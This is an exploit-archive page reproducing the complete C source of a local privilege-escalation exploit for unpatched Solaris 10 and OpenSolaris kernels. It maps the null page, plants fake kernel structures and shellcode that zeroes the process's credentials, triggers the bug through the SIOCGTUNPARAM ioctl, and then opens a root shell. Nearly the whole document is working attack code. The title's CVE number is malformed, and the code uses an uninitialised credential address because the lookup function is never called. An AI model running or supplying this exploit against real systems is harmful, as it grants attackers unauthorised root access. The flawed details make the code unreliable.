ExploitFixes
LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01) - [CVE: 2008-568] 2011-01-10 09:15:16

/***********************************************************
* hoagie_solaris_siocgtunparam.c
* LOCAL SOLARIS KERNEL ROOT EXPLOIT (< 5.10 138888-01) - CVE-2008-568
*
* Bug reported by Tobias Klein
* http://www.trapkit.de/advisories/TKADV2008-015.txt
* Exploit by: peri.carding (http://www.void.at/main/)
*
* $ ./hoagie_solaris_siocgtunparam
* hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local
* -andi / void.at
*
* [*] socket created
* [*] mapping zero page successful
* [*] process cred address: 0xd3853894
* [*] prepare null page
* [*] clean up write queue
* # uname -a
* SunOS unknown 5.10 Generic_118844-26 i86pc i386 i86pc
* # id
* uid=0(root) gid=0(root)
* #
*
* First of all we have to make sure that ip_extract_tunreq() will
* return 0 and ipifp is still set to NULL. This can be achieved by
* using an interface alias starting with zero. (the interface ip.tun0
* must not exist because ipif_lookup_on_name() will "fail" to get
* null page)
*
* ip_if.c / ipif_lookup_on_name()
* ...
* if (&cp[2] < endp && cp[1] == '0')
* return (NULL);
* ...
*
* In ip_sioctl_tunparam() ipif->ipif_ill is used for mutex enter
* so we have to set the offet for an ill_t structure. Later putnext()
* will be called with a queue (see ill_t). We can use this queue to
* add a custom callback function that is used by putnext().
*
* ip_if.c / ip_sioctl_tunparam():
* ...
* ill = ipif->ipif_ill;
* mutex_enter(&connp->conn_lock);
* mutex_enter(&ill->ill_lock);
* ...
* if (success) {
* ip1dbg(("sending down tunparam request "));
* putnext(ill->ill_wq, mp1);
* return (EINPROGRESS);
* ...
*
* putnext.c / putnext():
* ...
* mutex_exit(QLOCK(qp));
* STR_FTEVENT_MSG(mp, fqp, FTEV_PUTNEXT, mp->b_rptr -
* mp->b_datap->db_base);
* (*putproc)(qp, mp);
* ...
*
* ill_wq can't be modified from kernel space because its allocated
* in userland -> so we cannot modify the ill_wq queue in kernel
* code. thereforce a signal handler will clean the queue in userland.
*
* Affected Software: Solaris 10 without patch 138888-01 (SPARC)
* Solaris 10 without patch 138889-01 (x86)
* OpenSolaris < snv_77 (SPARC)
* OpenSolaris < snv_77 (x86)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* [email protected]
* http://www.void.at
*
************************************************************/
#define _STRUCTURED_PROC 1

#include <sys/socket.h>
#include <sys/sockio.h>
#include <sys/mman.h>
#include <net/if.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/procfs.h>

int *nullpage;

void clean_up_wq() {
fprintf(stderr, "[*] clean up write queue\n");
*(nullpage + 0x208 / 4) = 0x000;
}

int get_proc_address() {
int fd;
char filename[512];
psinfo_t psinfo;

snprintf(filename, sizeof(filename), "/proc/%d/psinfo", getpid());
fd = open(filename, O_RDONLY);
if (fd == -1) {
return -1;
}

memset(&psinfo, 0, sizeof(psinfo_t));
if (read(fd, &psinfo, sizeof(psinfo_t)) != sizeof(psinfo_t)) {
close(fd);
return -1;
}

close(fd);

return psinfo.pr_addr;
}

/**
* \xff\xff\xff\xff will be replaced by target process credential address
* (can be any process). set cr_uid, cr_gid, cr_ruid and cr_rguid to 0.
*/
char shellcode[] =
"\x50"
"\xb8\xff\xff\xff\xff"
"\x8b\x00"
"\xc7\x40\x10\x00\x00\x00\x00"
"\xc7\x40\x0c\x00\x00\x00\x00"
"\xc7\x40\x08\x00\x00\x00\x00"
"\xc7\x40\x04\x00\x00\x00\x00"
"\x58"
"\xc3";

int main(int argc, char **argv) {
int s;
struct iftun_req req;
int cred_addr;

fprintf(stderr,
"hoagie_solaris_siocgtunparam.c - solaris root < < 5.10 138888-01 local\n"
"-andi / void.at\n\n");

s = socket(PF_INET, SOCK_DGRAM, IPPROTO_IP);
if (s == -1) {
fprintf(stderr, "[-] can't create socket\n");
return -1;
} else {
fprintf(stderr, "[*] socket created\n");
}

memset(&req, 0, sizeof(req));
strcpy(req.ifta_lifr_name, "ip.tun0:012");

nullpage = (int*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_PRIVATE | MAP_ANON, -1, 0);
if (nullpage == MAP_FAILED) {
fprintf(stderr, "[-] can't mmap null page\n");
return -2;
} else {
fprintf(stderr, "[*] mapping zero page successful\n");
}

if (cred_addr == -1) {
fprintf(stderr, "[-] can't get process address\n");
return -3;
} else {
cred_addr += 0x5 * sizeof(int *);
fprintf(stderr, "[*] process cred address: 0x%08x\n", cred_addr);
memcpy(shellcode + 2, &cred_addr, 4);
}

fprintf(stderr, "[*] prepare null page\n");
memset(nullpage, 0, 0x1000);
/* offset 0x0 = ipif_t */
/* offset 0x4 = ipif_ll */
*(nullpage + 0x004 / 4) = 0x200;
/* offset 0x200 = ill_t */
/* offset 0x008 = ill_wq */
*(nullpage + 0x208 / 4) = 0x400;
/* offset 0x400 = queue_t */
/* offset 0x00c = q_next */
*(nullpage + 0x40c / 4) = 0x600;
/* offset 0x600 = queue_t (second) */
/* offset 0x000 = qinfo */
*(nullpage + 0x600 / 4) = 0x800;
/* offset 0x800 = qinfo */
/* offset 0x000 = qi_putp */
*(nullpage + 0x800 / 4) = 0x900;
memcpy((char*)nullpage + 0x900, shellcode, sizeof(shellcode));

/* install signla handler to clean up write queue */
signal(SIGALRM, clean_up_wq);
alarm(1);

/* launch attack */
ioctl(s, SIOCGTUNPARAM, &req);

/* start root shell - not really required because p_cred is shared
* but we want the nice # prompt ;-) */
system("/bin/sh");

return 0;
}